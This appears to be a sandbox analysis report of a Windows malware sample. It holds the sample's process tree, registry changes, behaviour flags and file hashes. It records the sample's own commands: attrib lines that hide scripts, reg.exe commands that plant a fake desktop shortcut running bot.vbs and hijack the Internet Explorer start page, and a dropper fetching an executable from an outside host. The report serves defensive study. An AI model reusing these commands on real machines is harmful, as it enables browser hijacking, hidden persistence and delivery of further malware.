\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon\ = "shdoclc.dll,0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\HideFolderVerbs reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\HideOnDesktopPerUser reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC} reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32\ = "%systemRoot%\\SysWow64\\shdocvw.dll" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32\ThreadingModel = "Apartment" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command\ = "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC} reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InfoTip = "@shdoclc.dll,-880" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\LocalizedString = "@shdoclc.dll,-880" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H) reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\ = "┤≥┐¬╓≈╥│(&H)" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H) reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command\ = "wscript.exe c:\\progra~1\\Kingsoft\\myfile\\Microsoft\\bot.vbs" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\WantsParsDisplayName reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R) reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command\ reg.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5076 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe 5076 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2376 iexplore.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2376 iexplore.exe 2376 iexplore.exe 2276 IEXPLORE.EXE 2276 IEXPLORE.EXE 2656 f42r.exe 2656 f42r.exe 2656 f42r.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5076 wrote to memory of 340 5076 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe 84 PID 5076 wrote to memory of 340 5076 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe 84 PID 5076 wrote to memory of 340 5076 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe 84 PID 340 wrote to memory of 3908 340 adminlog.exe 85 PID 340 wrote to memory of 3908 340 adminlog.exe 85 PID 340 wrote to memory of 3908 340 adminlog.exe 85 PID 3908 wrote to memory of 2380 3908 WScript.exe 86 PID 3908 wrote to memory of 2380 3908 WScript.exe 86 PID 3908 wrote to memory of 2380 3908 WScript.exe 86 PID 2380 wrote to memory of 2376 2380 cmd.exe 88 PID 2380 wrote to memory of 2376 2380 cmd.exe 88 PID 3908 wrote to memory of 3008 3908 WScript.exe 92 PID 3908 wrote to memory of 3008 3908 WScript.exe 92 PID 3908 wrote to memory of 3008 3908 WScript.exe 92 PID 3008 wrote to memory of 3944 3008 cmd.exe 94 PID 3008 wrote to memory of 3944 3008 cmd.exe 94 PID 3008 wrote to memory of 3944 3008 cmd.exe 94 PID 3008 wrote to memory of 3504 3008 cmd.exe 95 PID 3008 wrote to memory of 3504 3008 cmd.exe 95 PID 3008 wrote to memory of 3504 3008 cmd.exe 95 PID 3008 wrote to memory of 4448 3008 cmd.exe 96 PID 3008 wrote to memory of 4448 3008 cmd.exe 96 PID 3008 wrote to memory of 4448 3008 cmd.exe 96 PID 2376 wrote to memory of 2276 2376 iexplore.exe 97 PID 2376 wrote to memory of 2276 2376 iexplore.exe 97 PID 2376 wrote to memory of 2276 2376 iexplore.exe 97 PID 3008 wrote to memory of 2284 3008 cmd.exe 98 PID 3008 wrote to memory of 2284 3008 cmd.exe 98 PID 3008 wrote to memory of 2284 3008 cmd.exe 98 PID 3008 wrote to memory of 3136 3008 cmd.exe 99 PID 3008 wrote to memory of 3136 3008 cmd.exe 99 PID 3008 wrote to memory of 3136 3008 cmd.exe 99 PID 3008 wrote to memory of 3872 3008 cmd.exe 100 PID 3008 wrote to memory of 3872 3008 cmd.exe 100 PID 3008 wrote to memory of 3872 3008 cmd.exe 100 PID 3008 wrote to memory of 3904 3008 cmd.exe 101 PID 3008 wrote to memory of 3904 3008 cmd.exe 101 PID 3008 wrote to memory of 3904 3008 cmd.exe 101 PID 3008 wrote to memory of 3524 3008 cmd.exe 102 PID 3008 wrote to memory of 3524 3008 cmd.exe 102 PID 3008 wrote to memory of 3524 3008 cmd.exe 102 PID 3008 wrote to memory of 4028 3008 cmd.exe 103 PID 3008 wrote to memory of 4028 3008 cmd.exe 103 PID 3008 wrote to memory of 4028 3008 cmd.exe 103 PID 3008 wrote to memory of 808 3008 cmd.exe 104 PID 3008 wrote to memory of 808 3008 cmd.exe 104 PID 3008 wrote to memory of 808 3008 cmd.exe 104 PID 3008 wrote to memory of 364 3008 cmd.exe 105 PID 3008 wrote to memory of 364 3008 cmd.exe 105 PID 3008 wrote to memory of 364 3008 cmd.exe 105 PID 3008 wrote to memory of 4952 3008 cmd.exe 106 PID 3008 wrote to memory of 4952 3008 cmd.exe 106 PID 3008 wrote to memory of 4952 3008 cmd.exe 106 PID 3008 wrote to memory of 3520 3008 cmd.exe 108 PID 3008 wrote to memory of 3520 3008 cmd.exe 108 PID 3008 wrote to memory of 3520 3008 cmd.exe 108 PID 3008 wrote to memory of 3260 3008 cmd.exe 109 PID 3008 wrote to memory of 3260 3008 cmd.exe 109 PID 3008 wrote to memory of 3260 3008 cmd.exe 109 PID 3008 wrote to memory of 1436 3008 cmd.exe 110 PID 3008 wrote to memory of 1436 3008 cmd.exe 110 PID 3008 wrote to memory of 1436 3008 cmd.exe 110 PID 3008 wrote to memory of 1624 3008 cmd.exe 111 PID 3008 wrote to memory of 1624 3008 cmd.exe 111 -
Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 3944 attrib.exe 3504 attrib.exe 4448 attrib.exe 2284 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe"C:\Users\Admin\AppData\Local\Temp\81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Users\Admin\AppData\Local\Temp\adminlog.exe"C:\Users\Admin\AppData\Local\Temp\adminlog.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:340 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\Kingsoft\myfile\file.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C start /min iexplore http://www.dao234.com/index2.html?51dd4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2380 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.dao234.com/index2.html?51dd5⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2376 CREDAT:17410 /prefetch:26⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2276
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C .\tool.cmd4⤵
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\SysWOW64\attrib.exeattrib +r +h +s ".\tool.cmd"5⤵
- Sets file to hidden
- Drops file in Program Files directory
- Views/modifies file attributes
PID:3944
-
-
C:\Windows\SysWOW64\attrib.exeattrib +r +h +s ".\open.vbs"5⤵
- Sets file to hidden
- Drops file in Program Files directory
- Views/modifies file attributes
PID:3504
-
-
C:\Windows\SysWOW64\attrib.exeattrib +r +h +s ".\starts.vbs"5⤵
- Sets file to hidden
- Drops file in Program Files directory
- Views/modifies file attributes
PID:4448
-
-
C:\Windows\SysWOW64\attrib.exeattrib +r +h +s ".\Microsoft\bot.vbs"5⤵
- Sets file to hidden
- Drops file in Program Files directory
- Views/modifies file attributes
PID:2284
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f5⤵PID:3136
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DCCCC}"5⤵PID:3872
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}"5⤵
- Modifies registry class
PID:3904
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f5⤵
- Modifies registry class
PID:3524
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f5⤵
- Modifies registry class
PID:4028
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon"5⤵
- Modifies registry class
PID:808
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f5⤵
- Modifies registry class
PID:364
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32"5⤵
- Modifies registry class
PID:4952
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f5⤵
- Modifies registry class
PID:3520
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f5⤵
- Modifies registry class
PID:3260
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell"5⤵
- Modifies registry class
PID:1436
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f5⤵
- Modifies registry class
PID:1624
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)"5⤵
- Modifies registry class
PID:3896
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f5⤵
- Modifies registry class
PID:4644
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command"5⤵
- Modifies registry class
PID:3912
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "wscript.exe c:\progra~1\Kingsoft\myfile\Microsoft\bot.vbs" /f5⤵
- Modifies registry class
PID:4348
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)"5⤵
- Modifies registry class
PID:4252
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command"5⤵
- Modifies registry class
PID:2500
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" /f5⤵
- Modifies registry class
PID:1956
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder"5⤵
- Modifies registry class
PID:3048
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f5⤵
- Modifies registry class
PID:480
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f5⤵
- Modifies registry class
PID:3432
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f5⤵
- Modifies registry class
PID:2268
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f5⤵
- Modifies registry class
PID:2816
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.9281.net/?cmd" /f5⤵
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
PID:4256
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t REG_SZ /d "http://www.9281.net/?cmd" /f5⤵
- Modifies Internet Explorer settings
PID:4840
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C .\360.cmd4⤵
- Drops file in Program Files directory
PID:2136
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C .\fav\fav.cmd4⤵
- Drops file in Program Files directory
PID:3376
-
-
-
-
C:\Windows\SysWOW64\wscript.exe"wscript.exe" C:\Users\Admin\AppData\Local\Temp\123.vbs2⤵
- Checks computer location settings
PID:1960 -
C:\Users\Admin\AppData\Local\Temp\syslog.exe"C:\Users\Admin\AppData\Local\Temp\syslog.exe"3⤵
- Executes dropped EXE
PID:2980 -
C:\Users\Admin\AppData\Local\Temp\setup.exe.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe.exe"4⤵
- Executes dropped EXE
PID:2136
-
-
C:\Users\Admin\AppData\Local\Temp\youbei.exe.exe"C:\Users\Admin\AppData\Local\Temp\youbei.exe.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
PID:1164 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\f42r.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\f42r.exe" "http://download.youbak.com/msn/software/partner/36a.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2656
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2980 -s 4964⤵
- Program crash
PID:4996
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2980 -ip 29801⤵PID:4844
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1018B
MD58c29879e7f04898e3546273718e84ac3
SHA1abd1bb2dbda58361ca8990654c7d4229f04f9c96
SHA25662200ae22dac66425e3d02c517953498a96870aa48a8280a168f7d58d0e42856
SHA512c687f20504c6b9e235899e499839ba86c3ab23f1dbf9b5f91c7f9de9ac52f130a11f6218b2845dd14915439f711cea94c9b0a0292e62b8f9c37fe5ed105215f4
-
Filesize
104B
MD5bfcdb036c88aa44826253577e5306e76
SHA1687c9c104f25c1c4d94b6929e68b51fcb1560412
SHA256c765f7b9f90fc6fb6ad5ecda3f4219e5d07f793defb9b9b9ea4c23d4e62795cd
SHA512049a5c62b7bbbc9c1d9f911ccbec5388e137149f3b34c42e08aa0de2b22c46450c408dd987b96ae3c857f5e56e457c4485501d82a0790348fda952b3ea64d1ed
-
Filesize
150B
MD560957d450b2388e851e1c14b478e493f
SHA1dd88327e4b120449b4281a98a54c5e255b931b66
SHA2560eff0acb0a712b54003d39b9fdbe98fe023b4ad6821c2d749fa7cdcb2e6abbc0
SHA51209eee433e8253a3401656974cbe3c76cf5fc2ac5afea700c6ea91230ab12c292cfd481548e18ea0c4597dce6ac34f30f3f1fd14c4d6543c20ee551b167438576
-
Filesize
340B
MD5117120c9a895a0495e45800e533107f6
SHA10b3f93b0a5eff59e2e6c4368e4647f95eb1b0629
SHA256446472940134137cc6735eadc162054f02a96a3b5ac9a860510d57d8fb585027
SHA512aeac16020997169759265437fa662e9f1a8ade7b0bce56da4de8cfcad7896e176f3a66304142a7185195236e6c0e3a4ed32d135946c0b3c3a2aec7a97f335033
-
Filesize
12KB
MD58320a22354a5419af035cdf42902ae93
SHA1d9954707de08eaa6ecc7d13d69f76c51b316ebcc
SHA256419408ac3e52f9b5878825dd3fc416a394ff5665208bbd36930ea52910be04bc
SHA512592c4404292705321da9ec099ff60a22d396395acf31f900d4da661949a40c7966fcb20e7f8cadcd41c1dc729a290d68b21a74a352cb5b1b0a1b7b0ca1d5715b
-
Filesize
346B
MD5717fd6d87040c9b1d671a04a7bf739f8
SHA1f2a5f183c9151065c289fe09c7da592eefa36d11
SHA256b24dd257dd7ec11e922a2cda431af8a831bf8317bfcf806a5c4956f787129c22
SHA512d6fb655d49896061d6a3f328f54455e8db774b46b410527c4b40682491c144376aac0b2ba0cdc5c6574335376298d1f637afa092a598ee8ea5ce9679b0db6a69
-
Filesize
234B
MD5de74b833baf31e61d0b1888079050044
SHA12db44ceda0b82b80eb659beb549912c366bc0884
SHA256a7ed0d8b7d01af6c889384df1f39f1d25f3726271dccff3ce92bbea17b826975
SHA51230657c3028d70cf4810b01202af779c97900b08b0345460eb33c9d1dfc83276a6d881395039d1c1cf41759a230750b1af893719d26f20162a4832555249ffeb7
-
Filesize
174B
MD5a38677651a84291c87714ae75327c8af
SHA1dbcf971e7cdee38ff12d1d25dd11d51744e402d7
SHA256861762e94987be82592a2f466d9906451cb36187efcc4ec39533b0dec254d690
SHA512d00c0a7d31c6a1f83fddeecf94fe6ad6786e47fa73d40c1d83870bb17229ed0213684248aa91f805ce32db8ff235e51a322e2190feed7c098141d19a5d158f45
-
Filesize
174B
MD54654319f7c4223d46308b4b9a48d5e7d
SHA1031cbc87a7e6a794f21b4452d1b478b0f0e62f89
SHA2563ad3323b74967f5828032b1ffc0e50e0f633100df3b8657320a8572ab830673d
SHA512687c7e04673e4cc9e3324590d7f28fb35d5b931ea48b4ba959fdd5ddd7fbfc598b571b03e28aaf7180e9267a0c5d0644fcde136afbe20776f038ca0bb704c894
-
Filesize
149B
MD5440c8d7340a88e3fadfd444c5460c088
SHA1440675d6fe90710c1854518e06aa9abe8b959b9c
SHA2569905a368352989559d63a1c022d447e0788dfacd6b266fc5ee6ad6cbc90591cd
SHA51296b17d83a73814be2313093b108a3a3ef38bc9407e4a80d264f2e59eada78fda0e3decabc19d53ff55b878a469113fc3de6f33482bc0881102661d24344912e0
-
Filesize
4KB
MD5cc64c6ff303218674161c13ff53e0e74
SHA11a9eb52104d9ff12ed4b6c6798c23d1de1b4285d
SHA2560a1714f683b83170b1d190904d5a13eca30fc35fc4ffb5a1f75b29ef58301ffd
SHA512ad0c042a69b3ab984ccfbc9817318dadc2ea5e98fc989bed57737b3dd82eb5704b379f48b364ba75af3f22d32bdc3bc205ae2df345b61a1d4e2324767aa1bc3b
-
Filesize
757B
MD59ae874c9130cff5b6eec97eea2d65c03
SHA15f65f613afad727b69600c941fe1783ff645eaf2
SHA2562cf69675c2211b612ee8fd5140936d977a9de2f8b2b2c6f525e6702d7c82f940
SHA51228f93301aaca370847824bd091e5588d2be36c498f976dece06a6228b0b465c7cdc1b0d65193ac93e14e9a893f543847ddb90e80cd9313939f851d988e502a7a
-
Filesize
195B
MD562e9abcd55c32f104764fa77abb71ab8
SHA1a4e2ad6fc4782fd54457c567fabcd1042f86d7b1
SHA256b9daf5bae71d1201089ae61a6f94777d33ba6c837c1d2b50debf8bf02d6fa9bf
SHA512014a9b7c70eb5877b6cfaf7b2730607262f4a7c61b840849de72a3c1f2c5ac7555ba31ff8528f629feadcaa605cf7388e12b5cb48ff7a0b294510fc7e9912688
-
Filesize
228KB
MD57c9e6e3501b16c613cfa6fbbd814bc6f
SHA133630a78fba5401b183fcdef83ce6412bf14b02a
SHA2567abe19430e454b3aa7763f198f24fb0be3d79cb9648d611f3b8859eae7d3a333
SHA512e86cafacf173acc1e2d788d3e0bce432583d1cd4a45fe99d149fbc50480b883f85def021300843c73b8cbce512d2ef56f30ca5978c7d14720898f62b6dc7879d
-
Filesize
228KB
MD57c9e6e3501b16c613cfa6fbbd814bc6f
SHA133630a78fba5401b183fcdef83ce6412bf14b02a
SHA2567abe19430e454b3aa7763f198f24fb0be3d79cb9648d611f3b8859eae7d3a333
SHA512e86cafacf173acc1e2d788d3e0bce432583d1cd4a45fe99d149fbc50480b883f85def021300843c73b8cbce512d2ef56f30ca5978c7d14720898f62b6dc7879d
-
Filesize
110KB
MD5198afc79333eaf3e25d7a06a993405bd
SHA140993ab1f8ff44610041bc86ffb661e2ce112843
SHA256f8719dbcfeae26c606cccce8be7551bb9503611c7719eb3baec766679b9c0708
SHA5123e001311bd0cae447ca8a209ef9aa4d037b803cc02ae62caac6608648de839dfd034e295de629e6790e3d2e778a7832dde292190aff3240ab7508340a17189ec
-
Filesize
110KB
MD5198afc79333eaf3e25d7a06a993405bd
SHA140993ab1f8ff44610041bc86ffb661e2ce112843
SHA256f8719dbcfeae26c606cccce8be7551bb9503611c7719eb3baec766679b9c0708
SHA5123e001311bd0cae447ca8a209ef9aa4d037b803cc02ae62caac6608648de839dfd034e295de629e6790e3d2e778a7832dde292190aff3240ab7508340a17189ec
-
Filesize
108KB
MD577ac0e48ab54fddc6e9975b621ce74e8
SHA1b0efc7eab97293e4fdd397bcded0d4f9aae9b1b1
SHA256ef450e5cf2f12feab698ab449daf8753519d2403aa906c324e6245c6e30a6d27
SHA5128125392df29d2a4da08bce85bc8ca10b1a386fd0ccfebf8e947c06ad01ae619de43b197e683d43cd8345b6c9c7fcbc529b238c036ac7e5aa91f173fc6cc344cb
-
Filesize
108KB
MD577ac0e48ab54fddc6e9975b621ce74e8
SHA1b0efc7eab97293e4fdd397bcded0d4f9aae9b1b1
SHA256ef450e5cf2f12feab698ab449daf8753519d2403aa906c324e6245c6e30a6d27
SHA5128125392df29d2a4da08bce85bc8ca10b1a386fd0ccfebf8e947c06ad01ae619de43b197e683d43cd8345b6c9c7fcbc529b238c036ac7e5aa91f173fc6cc344cb
-
Filesize
333KB
MD5dced098a79491254cede6a394a75ce8a
SHA179e388c12cf97224760b6ff569de064fe1c07a07
SHA256209449d7a7754ae6c94e9d59307cefb50938fe22583694e41fb798ff1869da09
SHA512e37dccfe9b8c6245e28968e0109066965e29b5130b734d2b88396dc494ffa069abad376ddf77dd45a4e655058924a613c9523f2c9c72ee094fbbfa1b4db3faf9
-
Filesize
333KB
MD5dced098a79491254cede6a394a75ce8a
SHA179e388c12cf97224760b6ff569de064fe1c07a07
SHA256209449d7a7754ae6c94e9d59307cefb50938fe22583694e41fb798ff1869da09
SHA512e37dccfe9b8c6245e28968e0109066965e29b5130b734d2b88396dc494ffa069abad376ddf77dd45a4e655058924a613c9523f2c9c72ee094fbbfa1b4db3faf9
-
Filesize
196KB
MD5792e254fd857e8f27298cff7722638cb
SHA174db1fb851f8c4ccb92baef27f1582c6f4546e5a
SHA25611d2675f23b64161dbc1b268bd3ba5237e256900d8704ce31212ad8d00640936
SHA51202808a80d5b8bcc0eb90537e114c36ac2c5ca14d7bbfec6d39bfd8238920c29b127f32a8725a65b473e595075bf61f2deb59aed7e4ac7ca6925766e42519bc8f
-
Filesize
196KB
MD5792e254fd857e8f27298cff7722638cb
SHA174db1fb851f8c4ccb92baef27f1582c6f4546e5a
SHA25611d2675f23b64161dbc1b268bd3ba5237e256900d8704ce31212ad8d00640936
SHA51202808a80d5b8bcc0eb90537e114c36ac2c5ca14d7bbfec6d39bfd8238920c29b127f32a8725a65b473e595075bf61f2deb59aed7e4ac7ca6925766e42519bc8f